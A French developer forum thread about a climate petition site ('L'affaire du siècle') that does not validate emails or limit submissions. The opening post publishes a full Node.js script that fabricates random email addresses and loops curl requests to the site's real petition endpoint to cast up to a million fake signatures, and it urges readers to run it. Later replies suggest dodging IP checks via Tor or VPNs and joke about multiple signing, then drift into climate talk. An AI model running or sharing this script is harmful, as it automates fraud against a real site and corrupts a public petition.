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  1. #1
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    Par défaut [SECURITE] Pétition l'affaire du siècle

    Bonjour la communauté,

    Je sais que ma démarche n'est pas courante mais j'estime qu'il est de notre devoir en tant que développeurs d'agir.

    Voici une pétition qui fait la une de la presse, soutenue par des personnalités. La démarche est noble mais le fond l'est beaucoup moins:

    - les emails ne sont pas validés
    - il n'y a aucune protection de type failToBan (anti-dos)

    Par conséquent, je viens de faire un script, qui en utilisant un générateur d'email, l'a signé plusieurs dizaine de milliers de fois.

    Ceci pose un problème grave, sur la base d'une pétition non sécurisée, on tente de forcer l'état, notre démocratie à agir.

    Aujourd'hui c'est l'environnement, que se passera-t-il si demain c'est une demande d'envois des immigrés ou des gays dans des camps de concentration?

    La cybersécurité est fondamentale dans le fonctionnement de notre société.
    Et il est de notre devoir de sécuriser les applis web.
    J'ai alerté le Monde sans succès, posté des messages sur Twitter sans réaction.

    Voici donc mon script, exécutez le, afin de révéler cette immense farce, si le compteur explose, les médias comprendront que quelque chose ne va pas:

    EDIT: pour l'executer: node <nom.js>

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
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    const { execSync } = require('child_process');
    
    const firstname = [
        'Emma',
        'Lola',
        'Chloe',
        'Ines',
        'Léa',
        'Manon',
        'Jade',
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        'Lena',
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        'Zoe',
        'Lilou',
        'Camille',
        'Sarah',
        'eva',
        'Alice',
        'Maelys',
        'Louna',
        'Romane',
        'Juliette',
        'Nathan',
        'Lucas',
        'Léo',
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        'Timeo',
        'Enzo',
        'Louis',
        'Raphael',
        'Arthur',
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        'yves',
        'jacqueline',
        'valery',
        'rene',
        'clement',
        'didier',
        'gerard',
        'chantal',
        'jeanne',
        'genevieve',
        'robert',
        'rob',
        'jeanclaude',
        'petittout',
        'momo',
        'pierre',
        'marie',
        'nathalie',
        'henry',
        'Noah',
        'Theo',
        'Sacha',
        'Mael',
        'Mathis',
    ];
    
    const lastname = [
        'Martin',
        'Bernard',
        'Thomas',
        'Petit',
        'Robert',
        'Richard',
        'Durand',
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        'Michel',
        'Lefebvre',
        'Leroy',
        'Roux',
        'David',
        'Bertrand',
        'Morel',
        'Fournier',
        'Girard',
        'Bonnet',
        'Dupont',
        'Lambert',
        'Fontaine',
        'Rousseau',
        'Vincent',
        'Muller',
        'Lefevre',
        'Faure',
        'Andre',
        'Mercier',
        'Blanc',
        'Guerin',
        'Boyer',
        'Garnier',
        'Chevalier',
        'Francois',
        'Legrand',
        'Gauthier',
        'Garcia',
        'Perrin',
        'Robin',
        'Clement',
        'Morin',
        'Nicolas',
        'Henry',
        'Roussel',
        'Mathieu',
        'Gautier',
        'Masson',
        'Marchand',
        'Duval',
        'Denis',
        'Dumont',
        'Marie',
        'Lemaire',
        'Noel',
        'Meyer',
        'Dufour',
        'Meunier',
        'Brun',
        'Blanchard',
        'Giraud',
        'Joly',
        'Riviere',
        'Lucas',
        'Brunet',
        'Gaillard',
        'Barbier',
        'Arnaud',
        'Martinez',
        'Gerard',
        'Roche',
        'Renard',
        'Schmitt',
        'Roy',
        'Leroux',
        'Colin',
        'Vidal',
        'Caron',
        'Picard',
        'Roger',
        'Fabre',
        'Aubert',
        'Lemoine',
        'Renaud',
        'Dumas',
        'Lacroix',
        'Olivier',
        'Philippe',
        'Bourgeois',
        'Pierre',
        'Benoit',
        'Rey',
        'Leclerc',
        'Payet',
        'Rolland',
        'Leclercq',
        'Guillaume',
        'Lecomte',
        'Lopez',
        'Jean',
        'Dupuy',
        'Guillot',
        'Hubert',
        'Berger',
        'Carpentier',
        'Sanchez',
        'Dupuis',
        'Moulin',
        'Louis',
        'Deschamps',
        'Huet',
        'Vasseur',
        'Perez',
        'Boucher',
        'Fleury',
        'Royer',
        'Klein',
        'Jacquet',
        'Adam',
        'Paris',
        'Poirier',
        'Marty',
        'Aubry',
    ];
    
    const domain = ['gmail.com','yahoo.com','hotmail.com', 'hotmail.fr','msn.com','outlook.com','live.com','me.com','aol.com','icloud.com'];
    let i;
    for (i = 0; i < 1000000 ; i++) {
        let email = firstname[parseInt(((Math.random() * firstname.length) + 1)) - 1].toLowerCase() + '.' +
            lastname[parseInt(((Math.random() * lastname.length) + 1)) - 1].toLowerCase() +
            parseInt(((Math.random() * 30) + 1)) + '%40' +
            domain[parseInt(((Math.random() * domain.length) + 1)) - 1];
    
        let param = [
            " -XPOST",
            "https://laffairedusiecle.net/petition3.php",
            "-H",
            '"Content-Type: application/x-www-form-urlencoded"',
            "-H",
            '"Host: laffairedusiecle.net"',
            "-H",
            '"Origin: https://laffairedusiecle.net"',
            "-H",
            '"Referer: https://laffairedusiecle.net/"',
            "-H",
            '"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"',
            "-H",
            '"X-Requested-With: XMLHttpRequest"',
            "-H",
            '"cache-control: no-cache"',
            "-d",
            '"action=get&email='+email+'"',
            "2>/dev/null"
        ];
        const ls = execSync("curl " + param.join(' '));
        const token = JSON.parse(ls.toString()).token;
    
        param = [
            " -XPOST",
            "https://laffairedusiecle.net/petition3.php",
            "-H",
            '"Content-Type: application/x-www-form-urlencoded"',
            "-H",
            '"Host: laffairedusiecle.net"',
            "-H",
            '"Origin: https://laffairedusiecle.net"',
            "-H",
            '"Referer: https://laffairedusiecle.net/"',
            "-H",
            '"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"',
            "-H",
            '"X-Requested-With: XMLHttpRequest"',
            "-H",
            '"petition-token: ' + token +'"',
            "-H",
            '"cache-control: no-cache"',
            "-d",
            '"data%5Boptin%5D=Yes&data%5Butm_campaign%5D=&data%5Butm_medium%5D=&data%5Butm_source%5D=&data%5Butm_content%5D=&data%5Bfirst_name%5D=pawned&data%5Blast_name%5D=pawned&data%5Bemail%5D='+email+'&action=post"',
            "2>/dev/null"
        ];
        console.log(i + ' : ' + email + ' | ' + execSync("curl " + param.join(' ')).toString());
    }
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  2. #2
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    1) pourquoi as-tu posté dans la section Humour ?
    2) car je ne sais pas encore s'il faut en rire ou en pleurer.

    OK, c'est sûr qu'une appli aussi peu sécurisée c'est grave, mais ce qui se passe au niveau du climat est encore bien plus grave et là, en pointant du doigt qu'on peut trafiquer le compteur de signatures, c'est tout l'édifice de la pétition qui s'écroule…

    Admettons que les responsables s'en rendent compte et qu'ils annulent tout en demandant aux gens concernés et de bonne volonté de bien vouloir recommencer, et qu'on se retrouve avec juste 315 signatures au bout d'un mois, qu'est-ce qui va se dire en haut lieu ?
    "ok, c'est juste 315 clampins, donc on peut continuer à s'en balec du climat", et je ne suis pas sûr du tout que ça soit une bonne idée.

    Là, avec cette histoire, on est franchement dans la m…
    Tu parles d'un cadeau de Noël !

    HS :
    Citation Envoyé par setni Voir le message
    Voici donc mon script, exécutez le,
    Manque un trait d'union, là…
    Il a à vivre sa vie comme ça et il est mûr sur ce mur se creusant la tête : peutêtre qu'il peut être sûr, etc.
    Oui, je milite pour l'orthographe et le respect du trait d'union à l'impératif.
    Après avoir posté, relisez-vous ! Et en cas d'erreur ou d'oubli, il existe un bouton « Modifier », à utiliser sans modération
    On a des lois pour protéger les remboursements aux faiseurs d’argent. On n’en a pas pour empêcher un être humain de mourir de misère.
    Mes 2 cts,
    --
    jp

  3. #3
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    Salut,

    1) pourquoi as-tu posté dans la section Humour ?
    Il y a marqué "divers" aussi

    OK, c'est sûr qu'une appli aussi peu sécurisée c'est grave, mais ce qui se passe au niveau du climat est encore bien plus grave et là, en pointant du doigt qu'on peut trafiquer le compteur de signatures, c'est tout l'édifice de la pétition qui s'écroule…
    C'est justement parce que c'est un sujet grave, dont j'adhere totalement au passage, qu'il faut que ce type de pétition soit indémontable.

    Surtout quand on voit la seule justification que j'ai reçue, qui me pose sérieusement des questions sur l'avenir de nos sociétés:
    https://twitter.com/CecileDuflot/sta...33667712016384

    Merci pour la correction du trait d'union
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  4. #4
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    Citation Envoyé par setni Voir le message
    Surtout quand on voit la seule justification que j'ai reçue, qui me pose sérieusement des questions sur l'avenir de nos sociétés:
    https://twitter.com/CecileDuflot/sta...33667712016384
    Bon, ça me rassure un peu.

    J'étais justement en train de penser ça, il y a 5 minutes :
    Suis en train de me souvenir que, l'ayant signée, j'ai reçu un courriel de remerciement en retour.
    Probable que des adresses bidon généreront des retours en erreur à l'expéditeur, qui pourra envisager de supprimer les adresses concernées ?


    Donc il y a probablement vraiment 1,6 million de signature valides, ouf !
    Il a à vivre sa vie comme ça et il est mûr sur ce mur se creusant la tête : peutêtre qu'il peut être sûr, etc.
    Oui, je milite pour l'orthographe et le respect du trait d'union à l'impératif.
    Après avoir posté, relisez-vous ! Et en cas d'erreur ou d'oubli, il existe un bouton « Modifier », à utiliser sans modération
    On a des lois pour protéger les remboursements aux faiseurs d’argent. On n’en a pas pour empêcher un être humain de mourir de misère.
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  5. #5
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    Donc il y a probablement vraiment 1,6 million de signature valides, ouf !
    Euh ...

    Dans le script que j'ai exécuté, combien d'adresses étaient valides?
    Combien de personne, n'ayant jamais été sur le site, ont reçues un email de remerciement?
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  6. #6
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    Donc il y a probablement vraiment 1,6 million de signature valides, ouf !
    On peut en douter, si le site était au moins un tant soit peu sérieux il ferait au moins 2 choses:

    1: Vérifier que le mail indiqué existe ( Ce qui limite un peu mais n’empêche pas les usurpations de mails authentiques ).
    2: Une mémorisation des IP's ayant déjà voté pour évite à priori une partie des doublons.

    De plus pour une pétition qui concerne spécifiquement la France il conviendrait de limiter la possibilité du vote aux seules IP' de FAI's Français, en dehors d'éviter les trolls nichés aux 4 coins de la planète ça permettrait aussi de limiter l'usage des VPN's, en l'état actuel des choses il n'y a sans doute pas grand chose à modifier dans les script pour passer par tor browser et changer de de circuit à chaque envoi pour contourner un éventuel blocage des doublons sur IP's.

    Et un truc que je ne m'explique guère c'est ça:

    https://mobile.twitter.com/Setni7?p=s
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  7. #7
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    Citation Envoyé par mm_71 Voir le message
    On peut en douter, si le site était au moins un tant soit peu sérieux il ferait au moins 2 choses:

    1: Vérifier que le mail indiqué existe ( Ce qui limite un peu mais n’empêche pas les usurpations de mails authentiques ).
    2: Une mémorisation des IP's ayant déjà voté pour évite à priori une partie des doublons.

    De plus pour une pétition qui concerne spécifiquement la France il conviendrait de limiter la possibilité du vote aux seules IP' de FAI's Français, en dehors d'éviter les trolls nichés aux 4 coins de la planète ça permettrait aussi de limiter l'usage des VPN's, en l'état actuel des choses il n'y a sans doute pas grand chose à modifier dans les script pour passer par tor browser et changer de de circuit à chaque envoi pour contourner un éventuel blocage des doublons sur IP's.

    Et un truc que je ne m'explique guère c'est ça:

    https://mobile.twitter.com/Setni7?p=s
    Là on bascule dans l'humour,
    Imagine une remise de prix de 1500 personnes avec un écran qui affiche les tweets au hasard en fonction d'un # ? ça donne ce genre de connerie
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  8. #8
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    Citation Envoyé par setni Voir le message
    C'est justement parce que c'est un sujet grave, dont j'adhere totalement au passage [. . .]
    Merci pour la correction du trait d'union
    Ce n'était pas la pire

    Citation Envoyé par setni Voir le message
    Combien de personne, n'ayant jamais été sur le site, ont reçues un email de remerciement?
    Pas mal non plus

  9. #9
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    Salut,

    Si le fond de ton message est cool (alerter sur la sécurité d'une pétition d'ampleur), je pense que les moyens que tu utilises pour démontrer ton propos sont à questionner.

    Les thématiques du réchauffement climatique et de la crise écologique sont vraiment terrifiantes, et concernent tous les niveaux de notre société. A ce titre, chaque citoyen ayant pris connaissances des conclusions scientifiques et ayant pris conscience de l'ampleur des drames à venir (ce qui semble être ton cas) devrait mettre le meilleur de lui-même dans le changement civilisationnel préconisé par le GIEC (c'est à dire opérer immédiatement des changements profonds, radicaux de nos modes de vie et de consommation).

    Le problème est que face à cette menace planétaire dont la gravité dépasse celle de la guerre froide (on risque quand même plusieurs milliards de morts ... y compris dans les sociétés occidentales), la première réaction de l'humain de base normalement constitué est de mettre en place une dissonance cognitive majeur. Je m'explique: si la menace est trop grave et trop multi-causale pour que je puisse/sache l'éviter (menace climatique = ennemi écrasant et invisible provoqué par chacun de nos geste de consommation) la réaction face à cette menace en est rendue presque impossible, ou insignifiante, et entrer dans le déni reste alors la seule solution pour contre-carrer l'impact émotionnel de notre impuissance face à la catastrophe. Ceci pourrait expliquer que la majorité des gens ayant une connaissance rationnelle des chiffres et impacts de la crise bloquent malgré tout complètement l'acceptation émotionnelle (c'est bien compréhensible quand on sait que pas mal de climatologues ont pris tellement cher émotionnellement qu'on a inventé le terme de "stress pré-traumatique" ou de "deuil environnemental" rien que pour eux, puis qu'on commence à étendre ces concepts pour les inuits et les agriculteurs australiens impuissants/terrifiés face à la destruction de leurs territoires: cf cet article de Nature).

    Je pense que tout ceci demande une prudence absolue dans nos moyens d'agir. Bien évidemment, il faut absolument mettre nos compétences et notre temps au service de cette cause pour éviter que les 30 prochaines années ne débouchent sur des horreurs humaines sans précédent (millions/milliards de réfugiés climatiques, diminution d'au moins 17% des ressources en eau potable dans le bassin méditerranéen, 10/20/50% de diminution des rendements agricoles ...). Mais dans le même temps, il est vital de ne pas discréditer les initiatives qui vont dans le bon sens : tu ne ferais qu'ancrer un peu plus le citoyen moyen dans son cocon de déni, alors qu'il faut d'urgence l'en extirper pour qu'on puisse éviter le bordel absolu en 2050.

    Je te conseillerai de ne pas participer pas à ruiner ces efforts (d'autres s'en chargeront malheureusement à ta place): tu t'en voudrais possiblement beaucoup en 2050 au milieu des guerres climatiques, sans bouffe et sans eau par une vague de chaleur à 50-55°C. Envoie plutôt un mail aux organisateurs de la pétition leur proposant de mettre bénévolement ton savoir-faire et tes week-ends à la sécurisation de leurs sites et de leurs démarches citoyenne. Pour des raisons historiques, la problématique environnementale manque cruellement de certains savoir-faires techniques, et nous n'avons absolument plus le temps d'agir à contre-courant les uns des autres, il faut rentrer dans une dynamique participative, collaborative et citoyenne.

    Bien à toi,
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    Le débutant, lui, ignore qu'il ignore à ce point, il est fier de ses premiers succès, bien plus qu'il n'est conscient de l'étendue de ce qu'il ne sait pas, dès qu'il progresse en revanche, dès que s'accroît ce qu'il sait, il commence à saisir tout ce qui manque encore à son savoir. Qui sait peu ignore aussi très peu. [Roger Pol-Droit]
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  10. #10
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    Citation Envoyé par Seabirds Voir le message
    […] Bien évidemment, il faut absolument mettre nos compétences et notre temps au service de cette cause […]
    Mais pas que : on a aussi sur les bras l'énooooooorme problème des pesticides, engendrant la disparition de ce qu'on voit (de ceux qu'on ne voit plus, devrais-je dire), vous avez compris que je parle des insectes pollinisateurs et des oiseaux, mais aussi du responsable numéro 1 de la fertilité des sols, non, pas les engrais chimiques, le ver de terre qui la remue dans tous les sens pour que les racines soient bien alimentées.

    Question : ils veulent coloniser Mars. Vont-ils y emporter des vers de terre ? Pourraient-ils y vivre ? Non, bien sûr. Donc c'est mort pour qu'ils puissent s'y alimenter et ils feraient mieux d'économiser tout ce pognon et cette énergie à autre chose qu'à ce délire utopique : il y a un boulot dingue, ici et maintenant.

    PS : le ménage doit être fait sur le site, ça monte mais pas vite : hier 1,6xx million, là maintenant 1,77.
    Dommage que ça ne monte pas plus vite. On peut penser qu'effectivement les gens doivent se dire "à quoi bon ?", hélas…

    EDIT : lecture sympatoche
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  11. #11
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    Bonjour,

    C'est très bien de le signaler, par contre tu devrais retirer le script et les incitations à l'utilisation.
    Personnellement, ça met égal, mais cela pourrait vraiment t'attirer des ennuis... et pas qu'un petit peu.


    Thomas.

  12. #12
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    Citation Envoyé par Jipété Voir le message
    Mais pas que : on a aussi sur les bras l'énooooooorme problème des pesticides, engendrant la disparition de ce qu'on voit (de ceux qu'on ne voit plus, devrais-je dire), vous avez compris que je parle des insectes pollinisateurs et des oiseaux, mais aussi du responsable numéro 1 de la fertilité des sols, non, pas les engrais chimiques, le ver de terre qui la remue dans tous les sens pour que les racines soient bien alimentées.
    Yup, bien que si on continue à émettre au rythme où on émet, les moins optimistes questionnent carrément la persistance d'une agriculture pour un réchauffement moyen entre +3 et +5°C. Et comme il semble quasi-impossible de limiter le réchauffement à moins de +2°C ... Ouais ça pue cette histoire. Ca c'est la raison pour laquelle j'envisage de rediriger mes projets de recherche vers l'adaptation de l'agriculture aux conséquences du réchauffement climatique. Jusque là je faisais plutôt de la recherche en écologie pure, mais vu que quoiqu'il advienne les écosystèmes vont être balayés par le réchauffement climatique (genre en 2050 l'intégralité des récifs coralliens de la planète auront disparu, et ça sent pas bien meilleur pour nos écosystèmes français), je me tente à utiliser ce qu'il me reste de temps pour essayer de savoir comment on va bien pouvoir faire pour nourrir tout le monde

    Citation Envoyé par Jipété Voir le message
    Dommage que ça ne monte pas plus vite. On peut penser qu'effectivement les gens doivent se dire "à quoi bon ?", hélas…
    Oh, non, je pense qu'au contraire les gens sont inertes non parce qu'ils ont abandonné la lutte, mais au contraire parce qu'ils n'ont pas compris/accepté à quel point leur vie et celle de leurs enfants allait changer. Un collègue américain me disait "tu sais, le climat ... moi je suis blanc et riche, je devrais m'en tirer" ... Preuve qu'il a pas tout à fait capté que ça allait aussi frapper de plein fouet sa classe sociale ... rien que parce que que nos potes des classes sociales d'en dessous ne se laisseront pas mourir sans rien faire (surtout qu'ils ont des armes aux US ... time to go hoooome )

    Bref en tout cas, il ne faut surtout pas baisser les bras, surtout qu'on a que deux ans pour se bouger si on ne veut pas manquer la fenêtre temporelle des +2°C et ainsi éviter que ça parte vraiment en cacahuètes plus tard D'ailleurs cette discussion me donne une idée pour voir où se situe la communauté developpez.com sur cette prise de conscience.

    Bien à vous,
    Seab
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  13. #13
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    Euh, c'est pas vraiment nouveau que les pétitions internet, ça vaut ce que ça vaut...
    C'est comme si mettre un like à une cause facebook était un réel engagement...
    Il y a des événements avec 300 personnes qui vont venir sur facebook et on est à peine 20 le jour même
    L'engagement citoyen par internet, c'est tout de même une belle hypocrisie.

    Pour simplifier ton script, je ne prendrais même pas la peine de mettre des noms significatifs.
    Quand je ne veux pas mettre une adresse personnelle, j'utilise a@a.a qui marche dans 80 % des cas...

  14. #14
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    Citation Envoyé par Seabirds Voir le message
    Ca c'est la raison pour laquelle j'envisage de rediriger mes projets de recherche vers l'adaptation de l'agriculture aux conséquences du réchauffement climatique. Jusque là je faisais plutôt de la recherche en écologie pure, mais vu que quoiqu'il advienne les écosystèmes vont être balayés par le réchauffement climatique (genre en 2050 l'intégralité des récifs coralliens de la planète auront disparu, et ça sent pas bien meilleur pour nos écosystèmes français), je me tente à utiliser ce qu'il me reste de temps pour essayer de savoir comment on va bien pouvoir faire pour nourrir tout le monde
    Tiens, jette un œil à ce sur quoi je suis tombé, en cherchant autre chose.
    Je ne sais pas ce que ça vaut (on va me prendre pour un doux dingue, mais quand on voit comment tournent les choses, j'ai bien l'impression qu'il y a beaucoup plus dingue que moi aux leviers de commandes, hélas…), et comme je le dis à une amie passionnée de plantes, "il y a une vidéo, un peu longue à démarrer, sous-titrée au début mais en français à partir de 5 minutes, le truc chiant c'est que c'est sur un site à connotation ufo, pyramides, ce genre de choses.
    Et y a des pubs qui se foutent au milieu, ça c'est très lourd, faut juste attendre et ça reprend...
    À côté de ça, les images de plantes vers 11:00 c'est impressionnant !"
    Accroche-toi pour la vidéo, je te sens scientifique, il y a un mec qui parlait d'université recteur directeur de recherche toussa toussa, vers le milieu. Tu nous diras.

    Je vous laisse lire le texte là.

    Citation Envoyé par Seabirds Voir le message
    (genre en 2050 l'intégralité des récifs coralliens de la planète auront disparu, et ça sent pas bien meilleur pour nos écosystèmes français)
    Je crois que c'est ce qui me terrorise le plus : une fois les espèces disparues, plus moyen de les ressusciter !
    Et comme le dit si bien Gatineau, si on peut polliniser à la main, comment aller aérer le sous-sol comme le fait si bien le vdt, hmmm ?
    Ils y pensent, les guignols aux manettes ?
    Il a à vivre sa vie comme ça et il est mûr sur ce mur se creusant la tête : peutêtre qu'il peut être sûr, etc.
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  15. #15
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    Citation Envoyé par Jipété Voir le message
    Tiens, jette un œil à ce sur quoi je suis tombé, en cherchant autre chose.
    Je ne sais pas ce que ça vaut (on va me prendre pour un doux dingue, mais quand on voit comment tournent les choses, j'ai bien l'impression qu'il y a beaucoup plus dingue que moi aux leviers de commandes, hélas…), et comme je le dis à une amie passionnée de plantes, "il y a une vidéo, un peu longue à démarrer, sous-titrée au début mais en français à partir de 5 minutes, le truc chiant c'est que c'est sur un site à connotation ufo, pyramides, ce genre de choses.
    Je n'ai pas encore eu le temps de regarder la vidéo, elle est un peu longue J'ai seulement lu le texte. Je ne pense pas que parler aux plantes ait un effet très significatif, mais l'ensemble des autres pratiques culturales du bonhomme (pas d'engrais, pas de labour, compostage etc) sont loin d'être perchées. De toute façon qu'on le veuille ou non, la décrue énergétique va nous entraîner dans ces systèmes de culture là (sans pétrole, adieu pesticides, tracteurs etc).

    Citation Envoyé par Jipété Voir le message
    Je crois que c'est ce qui me terrorise le plus : une fois les espèces disparues, plus moyen de les ressusciter ! Et comme le dit si bien Gatineau, si on peut polliniser à la main, comment aller aérer le sous-sol comme le fait si bien le vdt, hmmm ?
    Comme je comprends (et partage) ton angoisse ! Les climatologues et les écologues font pas des insomnies pour rien Oui, on est en plein effondrement écologique, oui le changement climatique va finir de bouleverser tout ça, oui nos sociétés vont être lourdement impactées. Ce qu'il restera après, c'est sans doute impossible à prévoir, il va falloir s'accrocher. Personnellement, pour contrer la peur (oui, ce sont des questions très stressantes, notre précédent ministre de l'écologie ne mentionnait pas pour rien "la fin du monde"), j'essaie d'opter pour l'action et la méditation. Et de trouver la paix et le bonheur dans l'instant présent. Se rapprocher de nos cercles familiaux, amicaux, discuter de tout ça et de voir comment on peut s'y adapter, ou au moins le vivre ensemble plus ou moins sereinement.

    Citation Envoyé par Jipété Voir le message
    Ils y pensent, les guignols aux manettes ?
    Heuuuuuu alors Edouard Philippe semble bouquiner "l'Effondrement", Valérie Masson Delmotte et Jean-Marc Jancovici semblent parvenir à se faire un peu entendre ... mais je pense en vrai que les politiques sont impuissants tant que la population n'est pas acquise à la cause.
    Le débutant, lui, ignore qu'il ignore à ce point, il est fier de ses premiers succès, bien plus qu'il n'est conscient de l'étendue de ce qu'il ne sait pas, dès qu'il progresse en revanche, dès que s'accroît ce qu'il sait, il commence à saisir tout ce qui manque encore à son savoir. Qui sait peu ignore aussi très peu. [Roger Pol-Droit]
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  16. #16
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    Citation Envoyé par Seabirds Voir le message
    Se rapprocher de nos cercles familiaux, amicaux, discuter de tout ça et de voir comment on peut s'y adapter, ou au moins le vivre ensemble plus ou moins sereinement.
    Ça fait quand même plusieurs dizaines d'années que je pense que tout ça va se terminer continuer dans des cavernes, défendues à coups de massue. C'est bien, tu as pris un peu d'avance

    Car le principal n'est-il pas, en cette période, d'être le premier sur les pistes ? Recouvertes de neige de culture,

    Et pendant ce temps, le Japon décide de redémarrer l'assassinat des baleines... Avez-vous déjà observé un œil de baleine, dans un docu animalier ? Impressionnant.
    Plus qu'à boycotter les nippons, ou alors les atomiser encore un coup ?
    Pauvres baleines…
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  17. #17
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    Citation Envoyé par Jipété Voir le message
    Et pendant ce temps, le Japon décide de redémarrer l'assassinat des baleines... Avez-vous déjà observé un œil de baleine, dans un docu animalier ? Impressionnant.
    Plus qu'à boycotter les nippons, ou alors les atomiser encore un coup ?
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    Ce n'est pas très malin , je vais pas pouvoir lustrer ma voiture à la graisse de baleine

  18. #18
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    Citation Envoyé par Seabirds Voir le message
    Je te conseillerai de ne pas participer pas à ruiner ces efforts (d'autres s'en chargeront malheureusement à ta place): tu t'en voudrais possiblement beaucoup en 2050 au milieu des guerres climatiques, sans bouffe et sans eau par une vague de chaleur à 50-55°C. Envoie plutôt un mail aux organisateurs de la pétition leur proposant de mettre bénévolement ton savoir-faire et tes week-ends à la sécurisation de leurs sites et de leurs démarches citoyenne. Pour des raisons historiques, la problématique environnementale manque cruellement de certains savoir-faires techniques, et nous n'avons absolument plus le temps d'agir à contre-courant les uns des autres, il faut rentrer dans une dynamique participative, collaborative et citoyenne.
    Ce que j'ai fais! Voici le message (a oxfam France via Facebook):
    Bonjour,
    Sur votre pétition, il y a plusieurs problèmes.
    - Pas de validation d'email, j'ai fais signer des proches sans leur demander leur avis.
    - Pas contrôle d'IP. Un script de brut force peut faire exploser le compteur

    Par conséquent, pour éviter que dans un futur proche, votre initiative soit ridiculisé, je vous propose mon aide pour sécuriser votre pétition.
    Le message a été lu, comme celui envoyé au monde, mais sans réponse!

    De plus, ce n'est pas la première fois que je propose mon aide comme dev sur de l'associatif, A chaque fois, j'ai des réponses du genre "Merci pour votre proposition mais on a tout ce qu'il nous faut".
    Cocréateur d'un réseau social musical
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  19. #19
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    Citation Envoyé par setni Voir le message
    Ce que j'ai fais! Voici le message (a oxfam France via Facebook):

    Le message a été lu, comme celui envoyé au monde, mais sans réponse!

    De plus, ce n'est pas la première fois que je propose mon aide comme dev sur de l'associatif, A chaque fois, j'ai des réponses du genre "Merci pour votre proposition mais on a tout ce qu'il nous faut".
    Fais comme moi. Prochaine pétition tu signes avec plusieurs adresses mails, depuis plusieurs IP (maison, taff , vpn , proxy ...) En gros chacun signe genre 4 fois et tu gonfles les stats

  20. #20
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    Citation Envoyé par tanaka59 Voir le message
    Fais comme moi. Prochaine pétition tu signes avec plusieurs adresses mails, depuis plusieurs IP (maison, taff , vpn , proxy ...) En gros chacun signe genre 4 fois et tu gonfles les stats
    Oui, j'ai fais signer ma mère, mon père, mon grand père décédé, mon cochon d'inde, le voisin climato-sceptique, la femme du voisin ( climato-sceptique aussi)
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